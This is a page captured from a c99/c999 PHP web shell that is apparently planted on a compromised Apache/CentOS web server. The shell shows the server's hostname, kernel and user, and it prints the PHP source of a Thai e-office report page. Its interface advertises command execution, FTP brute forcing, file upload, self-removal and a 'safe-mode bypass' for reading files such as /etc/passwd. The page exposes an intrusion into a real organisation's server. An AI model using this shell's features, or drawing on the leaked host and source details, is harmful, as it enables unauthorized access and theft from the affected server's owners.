!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/directorBCNU/admin/   drwxr-xr-x
Free 52.61 GB of 127.8 GB (41.17%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     historyDoc.php (4.11 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
include_once 
"../link/function.php";
include_once 
"funct.php";
include_once 
"../class/clsDocType.php";
include_once 
"../class/clsDocLineConfig.php";
include_once 
"../class/clsDocLinePosition.php";
include_once 
"../class/clsDepartment.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDt = new doctype($oC); 
$oDlc = new DocLineConfig($oC);
$oDlp = new docLinePosition($oC);
$oDP = new Department($oC);
$oDP1 = new Department($oC);
$oDP2 = new Department($oC);
?>
<html>
<head>
<script language="javascript" src="../source/calendarDateInput.js"></script>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body>
<table  width="100%"  align="center">
<tr><td >
<fieldset>
      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="?mm=1">รายงาน</a>
    </font>
    <img src="../picture/ico3.gif" width="10" border="0" align="absmiddle">ประวัติงานสารบรรณก่อนใช้โครงสร้างปัจจุบัน</font>
    </legend>
        <br>
        <table width="85%" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse">
        <form name="ff"  method="post">
        <tr><td colspan="6" height="22"><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"><strong> 
              เลือกค้นหาข้อมูล</strong></font></td></tr>
        <tr><td>
        <? 
                $oDlc
->SearchByKey($DLCID); $oDlc->GetRecord();
                 
$oDlp->SearchByKey($oDlc->DlpID); $oDlp->GetRecord();
                
$oDP1->SearchByKey($oDlc->deptId); $oDP1->GetRecord();
        
        
?>
        </td></tr>
        <tr><td colspan="6">
        <table width="90%" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse">
        <?  if($oDlp->GpID=="107" || $oDlp->GpID=="110" || $oDlp->GpID=="111" || $oDlp->GpID=="112" || $oDlp->GpID=="115"){ ?>
            <tr><td colspan="6" height="22"><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2">
              <img src="../picture/submenu_mini.gif"   border="0">
              <a href="#" onClick="selectRephistoryDoc(1)">รายงานทะเบียนหนังสือภาพรวมของทั้งหน่วยงาน</a></font></td></tr>
             <tr><td colspan="6" height="22"><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2">
             <img src="../picture/submenu_mini.gif"   border="0">
             <a href="#" onClick="selectRephistoryDoc(2)">รายงานทะเบียนหนังสือราชการของหน่วยงานแยกตามหน่วยงานย่อย</a></font></td></tr>
             <tr><td colspan="6" height="22"><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2">
             <img src="../picture/submenu_mini.gif"   border="0">
             <a href="#" onClick="selectRephistoryDoc(3)">รายงานการค้นหาหนังสือราชการทุกชนิด</a></font></td></tr>
             <tr><td colspan="6" height="22"><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2">
             <img src="../picture/submenu_mini.gif"   border="0">
             <a href="#" onClick="selectRephistoryDoc(4)">รายงานการติดตามหนังสือราชการที่กำหนดวันแล้วเสร็จ</a></font></td></tr>
        <? ?>
        <tr> 
              <td  colspan="6" height="22"><hr color="#000099"></td>
            </tr> 
        <tr><td align="center"><input name="d" type="button" value="กลับหน้าหลัก" onClick="location.href = '?mm=1'"></td></tr>
        <input name="DocGroup" type="hidden" value="<? echo $oDlc->docGroup?>">
        
        </table>
        </td></tr>

        </form>
        </table>
        </fieldset> 
</td>
</tr>
</table>
</body>
</html>    
<script language="javascript">

function radioSelectType(val){
    document.getElementById('RPtype').value=val;
}
function radioSelectVal(val){
    document.getElementById('selectVal').value=val;
}
function selecthistoryDoc(){
  document.gg.submit();
}
function selectRephistoryDoc(p){
          if(p==1){ 
                  document.ff.action="searchRepHisRegisDoc.php";
          }else if(p==2){
          document.ff.action="searchRepHisRegisDocDept.php";
          }else if(p==3){
           document.ff.action="searchRepHisFollowDoc.php";
          }else if(p==4){
          document.ff.action="searchRepHisFollowDocDept.php";
          }
         document.ff.submit();
}
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0061 ]--